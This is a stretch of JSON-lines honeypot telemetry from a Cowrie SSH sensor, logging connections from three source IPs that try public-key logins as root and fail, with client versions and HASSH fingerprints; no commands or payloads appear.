{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:88:73:d9:ba:b5:b3:e2:78:3c:9a:8f:2e:c4:19:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvyA/p6ooryyqy4lzB6xYwTAgqnxHsUjkA0GzQpdOxP0n0KCagu7HH4ooU89FEqFJKn8Pd0WlCbmkEPw32OuVPG8UXDwSG7/3Qy3jtnTbqUMDWvrqTONacitSV+mYdKM3VWxWx80HK1PkwpeKDu/9OrHMxCj8dNkR2rpAWDGCu4ackcmrrL+V9cRtdeYoQmfjLF3J2A2ee1m5ZQd+fzGlMzSisfyjlxKdFs507sAxCujGs4Kxb50vvMAVGjqRenHX9ryoBVp6kLz4NyuY1sROpZNWr+b8iW7kpQtZi41kNT2YcoWityZs2VJnjB3KM+3RNYGzKVnR/NnMviPRDHdeDnHwkGgn9mkprHKgGsaM98gdK9u7Uyr+DtsxJ4j+XgoFAipVWXZZMSMpVra+T4Va2We7DTWW2r5b28wVyKSm/JsrkJrY22YR0IkCrhEeF56LAPc1e/IUdhDoeD9lceTF02gSOWUFkpnEZBqrnAF/t5GCDxmpGsCFXxf2mcB5C5EUmh240yaD9LBtApqew+PWV3WJvC9ymn01GMGU9zyCX8AFNaLotgGcJhHH3vNVTccLS+G4IaPQTPNbUVwHniip+wHI6z6eSSefnE1LT93cAS8jhn3avTZzMtLqksMJ51gC8CEXYSjosIp99JZCXBQRy134vxtBDUDinfurUPF8tTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.621920Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:79:51:64:ec:69:fa:e0:80:1c:d6:64:66:91:b6:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoZYnZYiadeAlQ8MxYVrHAcgr7ZLtQoT8Bev8Q3RpQGTceJ48lvWrjcHkUn/XoSIRFdGvePqd1JnqaH7pcx9J2YaXi1Jf3julNx23n32/mxpKcjRf8bZTlByCJ6ij4Mme76G1atLyBD7PXb9JzvYCt/MwtDLGZJg1/QfLX2sxy9pnDVgNTvkAbFY3q6sNQCxscAm0fuavv3iIL3ZP0FfIA3nrT7I4r0Hlj3FJifNjFuxSaEcjFdrPf36LRyMeCDtm40sgaVJeLfrpk+lBNXdF0dgoe87A1XNkLkdO6hIPkCS6tnovsqsloUx0gJF1R3SMASjX7TvGazdtiPArLL9Oew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:79:51:64:ec:69:fa:e0:80:1c:d6:64:66:91:b6:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.700923Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:79:51:64:ec:69:fa:e0:80:1c:d6:64:66:91:b6:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoZYnZYiadeAlQ8MxYVrHAcgr7ZLtQoT8Bev8Q3RpQGTceJ48lvWrjcHkUn/XoSIRFdGvePqd1JnqaH7pcx9J2YaXi1Jf3julNx23n32/mxpKcjRf8bZTlByCJ6ij4Mme76G1atLyBD7PXb9JzvYCt/MwtDLGZJg1/QfLX2sxy9pnDVgNTvkAbFY3q6sNQCxscAm0fuavv3iIL3ZP0FfIA3nrT7I4r0Hlj3FJifNjFuxSaEcjFdrPf36LRyMeCDtm40sgaVJeLfrpk+lBNXdF0dgoe87A1XNkLkdO6hIPkCS6tnovsqsloUx0gJF1R3SMASjX7TvGazdtiPArLL9Oew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.706049Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:14.786844Z","src_ip":"193.70.122.120","session":"905392bf9634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.163","src_port":59202,"dst_ip":"10.17.0.5","dst_port":22,"session":"f261fad1c307","protocol":"ssh","message":"New connection: 154.16.115.163:59202 (10.17.0.5:22) [session: f261fad1c307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:20.995011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:20.999715Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.027641Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:3b:f0:b2:c6:ca:b6:72:c2:e8:26:5a:5b:dc:a1:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJbcSCENjk9ObTTQ9nDWJHzDjFo498RvGy6V7TSpm7G+5sosOF+XCSJESWoD2kW96ahHc8pkjhoBgBOee0cMDhejUlRr2DpjtsGKUY33jrG64QdcQuqiJN04C1crDkZpIhPiKiepxcBg4HHE3UIQd416mAXHf3Q7g+ZA/ugO2YKj2Py054YyErkm7Z/191S7toWlZV3qRbc1CFLDc4wTHqROAqWiCQSZnMIeCRdqh19GFSRA45BcfxvaF8TlIPrqG6SS1vytYqgMLxeSuOhwlJAAJSeCqzxaDNEU1k7GMVAtbWeDZ6/l1Uj4T2o1cFeguVbVUEzdy5/2GneIOLxgn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:3b:f0:b2:c6:ca:b6:72:c2:e8:26:5a:5b:dc:a1:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.143458Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:3b:f0:b2:c6:ca:b6:72:c2:e8:26:5a:5b:dc:a1:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJbcSCENjk9ObTTQ9nDWJHzDjFo498RvGy6V7TSpm7G+5sosOF+XCSJESWoD2kW96ahHc8pkjhoBgBOee0cMDhejUlRr2DpjtsGKUY33jrG64QdcQuqiJN04C1crDkZpIhPiKiepxcBg4HHE3UIQd416mAXHf3Q7g+ZA/ugO2YKj2Py054YyErkm7Z/191S7toWlZV3qRbc1CFLDc4wTHqROAqWiCQSZnMIeCRdqh19GFSRA45BcfxvaF8TlIPrqG6SS1vytYqgMLxeSuOhwlJAAJSeCqzxaDNEU1k7GMVAtbWeDZ6/l1Uj4T2o1cFeguVbVUEzdy5/2GneIOLxgn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.147249Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:9d:42:2d:f4:26:6c:1c:a6:ab:a1:16:5b:1d:d0:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXu5Q6vSQBCVMGp1u8cRBCp3saYnjdks4ajSFHZtvu1Pn8aJaJ0nOMkllGe72kC//PMc7zIFVFdeUPaMxlhfrEwmqXVFQXmtI/MuFq/tF2PYcKhvzinppdVUY4wMuufyZtxlKDewf5IJclkvId8ZzVgKqwWgog9jtAvkofYhOfI0e+efXMHiVmUFZUWc+RQ7/RZR8W3Oocs8+hscb+MSHTMZRnCpO8AmJWAhDZNE5AZKMl/cubYChOldbGZoN4T5EF1pBPU/UwNQi/iJRYgcFp+s0PDYmjS3OsVjZn+Cp+KJkm8z+2Z8lWPHNCq1f+JzNwA6wTT8nozck5MR0pHYWjChr5dysuGnBN1e1RLgpFBVaR0ppbWh1RMadF+LDVQ9+jIOOJyknfK6YGBqRN5W0RhPVygoESJ6J/LA+0YwBvTDXle+SoElsRNFPgXXft8b6tcZEN4QS6Roj7uO5RVyQxKQa2ywep/Mics7oHLezDzLJzeCzJlEn2FDVrZiO7yvRYsBjqAXdnfJau9lxC0cKBpnh//I+6uCmkjAPH7HnlZj2w7RVCn1WIkpcEJtAXYbMr/BnaRXXeP907bRBo9xzKVLB7E99ZvRJ6fVOCasdqMtCjlZUBbcLSV4m6Hcl/0NaG/BYVwV+Yre5Xi5GWJKE0/Rw/adaCgKhOEn2oAeGdkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:9d:42:2d:f4:26:6c:1c:a6:ab:a1:16:5b:1d:d0:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.175345Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:9d:42:2d:f4:26:6c:1c:a6:ab:a1:16:5b:1d:d0:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXu5Q6vSQBCVMGp1u8cRBCp3saYnjdks4ajSFHZtvu1Pn8aJaJ0nOMkllGe72kC//PMc7zIFVFdeUPaMxlhfrEwmqXVFQXmtI/MuFq/tF2PYcKhvzinppdVUY4wMuufyZtxlKDewf5IJclkvId8ZzVgKqwWgog9jtAvkofYhOfI0e+efXMHiVmUFZUWc+RQ7/RZR8W3Oocs8+hscb+MSHTMZRnCpO8AmJWAhDZNE5AZKMl/cubYChOldbGZoN4T5EF1pBPU/UwNQi/iJRYgcFp+s0PDYmjS3OsVjZn+Cp+KJkm8z+2Z8lWPHNCq1f+JzNwA6wTT8nozck5MR0pHYWjChr5dysuGnBN1e1RLgpFBVaR0ppbWh1RMadF+LDVQ9+jIOOJyknfK6YGBqRN5W0RhPVygoESJ6J/LA+0YwBvTDXle+SoElsRNFPgXXft8b6tcZEN4QS6Roj7uO5RVyQxKQa2ywep/Mics7oHLezDzLJzeCzJlEn2FDVrZiO7yvRYsBjqAXdnfJau9lxC0cKBpnh//I+6uCmkjAPH7HnlZj2w7RVCn1WIkpcEJtAXYbMr/BnaRXXeP907bRBo9xzKVLB7E99ZvRJ6fVOCasdqMtCjlZUBbcLSV4m6Hcl/0NaG/BYVwV+Yre5Xi5GWJKE0/Rw/adaCgKhOEn2oAeGdkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.341169Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:42:48:cc:7b:a2:9a:18:98:86:d8:33:cf:6c:e2:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0SQ9xLa+RqHaBIVxXbQxjBbfahp1EkOmsIfBcawIz4T1siltyDkRY49Jvj0B8CQAQ/UVZdV/Gkc/QQgHFMairYb5uUNELkZ09uPGrUM3QnuOMGL8ve8Syfn43N03+eycb0Q9oPjTf6mJM+BWKnAglAon7lcRNT6PIayULI5xVyl0CAmqjMDcHMLm/9CxcuMMD8V9xXIih+j436I+IiONh3gQKdWRQzEEgzPBIHFY3RN6Kb6QGbRdjxOK8OcWPW15oJXR5qNeSplicRohv4qShxSKoIyKI13r7lBBVy3XLLAoKLsZUMprwTbidz0+YUbi1DLZBJL41iBxWPKPujFLElIecNQVgl4HJoQI38F4RAsFU8NgOoA9O+onAxHkfwyToqUEEvpZUEO5pdg1icnJxC2aqOG7qmS7kEzliInRhSPtn8uqs06HsPisiZtrSOMrxg1m6sL3xB8yTVHnmriwZvyYmozg63QgSUhrZ5LUawsd6VwPMKC4hihPJWegQ4NvqIHJQsc9sU5+/Q3xUTwu8Vre8ADnBoXEX/pxd9ASfzZXqNEEkAZGPzrlGEhLcl2yISQh3hX8yjCJJuWoxpyn7ukQFyY46mLCybkqxV/eiAtkCd1OYpQkvaTgge5Ck9rVX/PST7D0PvwEzGdSj4a9KdeLuzATC6f3nASFSXeFotQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:42:48:cc:7b:a2:9a:18:98:86:d8:33:cf:6c:e2:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.370548Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:42:48:cc:7b:a2:9a:18:98:86:d8:33:cf:6c:e2:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0SQ9xLa+RqHaBIVxXbQxjBbfahp1EkOmsIfBcawIz4T1siltyDkRY49Jvj0B8CQAQ/UVZdV/Gkc/QQgHFMairYb5uUNELkZ09uPGrUM3QnuOMGL8ve8Syfn43N03+eycb0Q9oPjTf6mJM+BWKnAglAon7lcRNT6PIayULI5xVyl0CAmqjMDcHMLm/9CxcuMMD8V9xXIih+j436I+IiONh3gQKdWRQzEEgzPBIHFY3RN6Kb6QGbRdjxOK8OcWPW15oJXR5qNeSplicRohv4qShxSKoIyKI13r7lBBVy3XLLAoKLsZUMprwTbidz0+YUbi1DLZBJL41iBxWPKPujFLElIecNQVgl4HJoQI38F4RAsFU8NgOoA9O+onAxHkfwyToqUEEvpZUEO5pdg1icnJxC2aqOG7qmS7kEzliInRhSPtn8uqs06HsPisiZtrSOMrxg1m6sL3xB8yTVHnmriwZvyYmozg63QgSUhrZ5LUawsd6VwPMKC4hihPJWegQ4NvqIHJQsc9sU5+/Q3xUTwu8Vre8ADnBoXEX/pxd9ASfzZXqNEEkAZGPzrlGEhLcl2yISQh3hX8yjCJJuWoxpyn7ukQFyY46mLCybkqxV/eiAtkCd1OYpQkvaTgge5Ck9rVX/PST7D0PvwEzGdSj4a9KdeLuzATC6f3nASFSXeFotQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.374667Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:db:9a:e2:b9:17:5f:3b:98:68:d1:5f:56:a9:66:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIdlvLxKmzLjgj+8qgG6uh5pNon631RlPfvJ2mqZZcuH8ZNhJx6b5ARZ2sg81vccqS+Rjben9ZJ82/msOwAh/3erhddgyBO8C7uiDso2Lpf7VO1hO1tpl5Bn0eKK6lJ4UY+4qRMJRs+JIJdUoRXgh2GUtnloDAqWFAEWBDRc82a0381bjTHuRsPXPSxV/ccTLDCAGYavJdYs7O+fCjYTT1YlErbIrfn/VGnoTkHPmoe2Uyg07hmRUigqCjQ/E9JwGlKsKNF8eDxjLZphvkbCau1Tq0s3Ycph66UYVXl18uRGWJSYMaUrsWQxrbwS0Al2JxbRO0AqE5cxRVf1B/I4fnpi90eVOSmT0nrVXnbIgeH4zXNHMfxwHFWBWa6Mv06U/3cMaqV0hm0P4Jas/wl6Ha4pYAZMCWTBCIXR8ZL/rO0k+Y8UImZPNy1AISlSz5glNGODMpgw24SSOHCYmeW3npLjnaodr38K8JmBOEerDR1/a8pXOXIfkvdHyjY5MMaBUGDjI4Sekj311wTJsTQx1e7m9dYDXMa4xecD5cWGpcHBF8m/ggxBJNd1AGjaQrppI8KK6oPdZO4dYnAmJ/PvBlQ1r7NBlzSQOKgAOVEjhffBtvHRmLuB+vbs5P2U6Wvp2f9GVdiRFPuMrJDJQHrX4xsJMw9UcB+3GveyK1HNbyJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:db:9a:e2:b9:17:5f:3b:98:68:d1:5f:56:a9:66:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.403201Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:db:9a:e2:b9:17:5f:3b:98:68:d1:5f:56:a9:66:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIdlvLxKmzLjgj+8qgG6uh5pNon631RlPfvJ2mqZZcuH8ZNhJx6b5ARZ2sg81vccqS+Rjben9ZJ82/msOwAh/3erhddgyBO8C7uiDso2Lpf7VO1hO1tpl5Bn0eKK6lJ4UY+4qRMJRs+JIJdUoRXgh2GUtnloDAqWFAEWBDRc82a0381bjTHuRsPXPSxV/ccTLDCAGYavJdYs7O+fCjYTT1YlErbIrfn/VGnoTkHPmoe2Uyg07hmRUigqCjQ/E9JwGlKsKNF8eDxjLZphvkbCau1Tq0s3Ycph66UYVXl18uRGWJSYMaUrsWQxrbwS0Al2JxbRO0AqE5cxRVf1B/I4fnpi90eVOSmT0nrVXnbIgeH4zXNHMfxwHFWBWa6Mv06U/3cMaqV0hm0P4Jas/wl6Ha4pYAZMCWTBCIXR8ZL/rO0k+Y8UImZPNy1AISlSz5glNGODMpgw24SSOHCYmeW3npLjnaodr38K8JmBOEerDR1/a8pXOXIfkvdHyjY5MMaBUGDjI4Sekj311wTJsTQx1e7m9dYDXMa4xecD5cWGpcHBF8m/ggxBJNd1AGjaQrppI8KK6oPdZO4dYnAmJ/PvBlQ1r7NBlzSQOKgAOVEjhffBtvHRmLuB+vbs5P2U6Wvp2f9GVdiRFPuMrJDJQHrX4xsJMw9UcB+3GveyK1HNbyJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.407225Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:5a:79:4f:f3:52:04:0a:5a:b6:18:93:8f:af:cf:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvprptrxhaKvTuuZCoG1KQZKagGKUmi1IQ63zqKWqmw12mAf98z+/WhC33DOVO9dhL1GSeEKhMNBjLLXHzxQ/vHkqoHUhGmFhGA6NZAjhQl3JkGMKqa8DdIAvuxi1m7nK34aDalB7HPlFYAwqMbAVNupy+OgxrIgQ5uiK6wORyEuGQaht4Fkso+B+9R/cyKSNMsrzuG4QQKsVi7/9ec5WXelcBbrfiwKDfUSD/L07UqM7ivkwSPAnucpynuSiyIbazuIlINXT+sst8WCh5o5nPxoUGXb8UYES/KqwWOPbQq1acYS++jd08RI4GfGc5FLNE4NeijIN2RIrpODn6FtJQYaQ69A/U6XY17L0szVqVSIgHXXYDoBC+OrOgMXCk6XRRBrPBZqZlxVTb/JAYoENFhU6WV4Roug+q7caFuTY6VegvhWH8IBYh5XY3xHHv4AkvaXqlgjINRuALrKNbEe4bpmf3XN+dRZoVhsXLK3xkvXwq6Y2v2pgM0FvpD5G9TxIrQf7sJuu7vT4kZ/9MWRQZ2EsT4HSjYzlZMponwoswoUseZGCMk/A7wYJCK7QV5j8+I+NH0KiiRCebopuaokh5VkIygLyT2ELUpRVKChsoObfExt5S1P8PSFxA1GdSCeI3TT3T59+WBgTfyzJy0C+FDpAOu3Zo/Q4RVVUApfZceQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:5a:79:4f:f3:52:04:0a:5a:b6:18:93:8f:af:cf:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.437747Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:5a:79:4f:f3:52:04:0a:5a:b6:18:93:8f:af:cf:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvprptrxhaKvTuuZCoG1KQZKagGKUmi1IQ63zqKWqmw12mAf98z+/WhC33DOVO9dhL1GSeEKhMNBjLLXHzxQ/vHkqoHUhGmFhGA6NZAjhQl3JkGMKqa8DdIAvuxi1m7nK34aDalB7HPlFYAwqMbAVNupy+OgxrIgQ5uiK6wORyEuGQaht4Fkso+B+9R/cyKSNMsrzuG4QQKsVi7/9ec5WXelcBbrfiwKDfUSD/L07UqM7ivkwSPAnucpynuSiyIbazuIlINXT+sst8WCh5o5nPxoUGXb8UYES/KqwWOPbQq1acYS++jd08RI4GfGc5FLNE4NeijIN2RIrpODn6FtJQYaQ69A/U6XY17L0szVqVSIgHXXYDoBC+OrOgMXCk6XRRBrPBZqZlxVTb/JAYoENFhU6WV4Roug+q7caFuTY6VegvhWH8IBYh5XY3xHHv4AkvaXqlgjINRuALrKNbEe4bpmf3XN+dRZoVhsXLK3xkvXwq6Y2v2pgM0FvpD5G9TxIrQf7sJuu7vT4kZ/9MWRQZ2EsT4HSjYzlZMponwoswoUseZGCMk/A7wYJCK7QV5j8+I+NH0KiiRCebopuaokh5VkIygLyT2ELUpRVKChsoObfExt5S1P8PSFxA1GdSCeI3TT3T59+WBgTfyzJy0C+FDpAOu3Zo/Q4RVVUApfZceQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.441888Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:21.470130Z","src_ip":"154.16.115.163","session":"f261fad1c307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.181.223.233","src_port":43994,"dst_ip":"10.17.0.5","dst_port":22,"session":"34e3d7092004","protocol":"ssh","message":"New connection: 47.181.223.233:43994 (10.17.0.5:22) [session: 34e3d7092004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:22.196926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:22.201768Z","src_ip":"47.181.223.233","session":"34e3d7092004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:22.278255Z","src_ip":"47.181.223.233","session":"34e3d7092004","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:86:91:37:dc:6f:f5:1d:53:11:d6:32:80:a3:8f:4d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP3fQcQfhu+7fsUIRuMeQtTaqmQK4YmImAuBxiIWiWT1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 83:86:91:37:dc:6f:f5:1d:53:11:d6:32:80:a3:8f:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:57:22.636487Z","src_ip":"47.181.223.233","session":"34e3d7092004","protocol":"ssh"}
